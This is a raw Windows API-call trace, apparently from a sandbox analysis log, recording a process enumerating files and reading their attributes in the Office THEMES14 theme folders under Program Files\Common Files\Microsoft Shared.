	[0050.743] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270b048 | out: lpFileInformation=0x1270b048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed)) returned 1
	[0050.744] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270b098 | out: lpFileInformation=0x1270b098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242)) returned 1
	[0050.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270b0e8 | out: lpFileInformation=0x1270b0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc)) returned 1
	[0050.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), fInfoLevelId=0x0, lpFileInformation=0x1270b138 | out: lpFileInformation=0x1270b138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.745] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.746] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.746] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1
	[0050.746] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1
	[0050.746] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.746] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.746] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.746] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270b2c8 | out: lpFileInformation=0x1270b2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f)) returned 1
	[0050.746] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270b318 | out: lpFileInformation=0x1270b318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14)) returned 1
	[0050.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270b368 | out: lpFileInformation=0x1270b368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b)) returned 1
	[0050.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270b3b8 | out: lpFileInformation=0x1270b3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e)) returned 1
	[0050.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270b408 | out: lpFileInformation=0x1270b408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c)) returned 1
	[0050.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), fInfoLevelId=0x0, lpFileInformation=0x1270b458 | out: lpFileInformation=0x1270b458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.748] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.748] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.748] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.748] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1
	[0050.748] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1
	[0050.748] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.748] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270b5e8 | out: lpFileInformation=0x1270b5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c)) returned 1
	[0050.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270b638 | out: lpFileInformation=0x1270b638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5)) returned 1
	[0050.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270b688 | out: lpFileInformation=0x1270b688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc)) returned 1
	[0050.749] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270b6d8 | out: lpFileInformation=0x1270b6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1)) returned 1
	[0050.749] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), fInfoLevelId=0x0, lpFileInformation=0x1270b728 | out: lpFileInformation=0x1270b728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.750] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.750] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.750] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.750] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1
	[0050.750] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1
	[0050.750] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.750] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270b8b8 | out: lpFileInformation=0x1270b8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623)) returned 1
	[0050.751] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270b908 | out: lpFileInformation=0x1270b908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da)) returned 1
	[0050.752] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270b958 | out: lpFileInformation=0x1270b958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6)) returned 1
	[0050.752] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270b9a8 | out: lpFileInformation=0x1270b9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab)) returned 1
	[0050.752] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), fInfoLevelId=0x0, lpFileInformation=0x1270b9f8 | out: lpFileInformation=0x1270b9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
